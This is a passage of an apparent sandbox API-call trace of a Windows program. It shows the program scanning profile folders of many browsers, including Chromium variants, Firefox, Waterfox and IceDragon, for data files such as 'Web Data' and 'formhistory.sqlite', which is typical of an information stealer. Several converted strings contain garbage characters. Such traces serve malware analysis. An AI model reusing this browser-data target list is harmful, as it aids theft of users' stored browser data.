nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.764] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.764] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.764] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0061.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.764] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.764] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.764] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0061.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.764] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.764] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.764] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0061.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.764] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.764] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.764] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0061.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.764] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.765] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.765] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0061.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.765] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.765] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.765] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0061.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.819] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.819] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.819] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0061.820] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.820] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.820] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.821] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.824] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0061.825] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.827] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.827] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.827] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.827] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0061.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.829] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.829] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0061.829] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0061.829] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.829] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0061.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.829] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 18 [0061.829] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.829] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.829] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0061.829] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.829] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d148, cchWideChar=2047 | out: 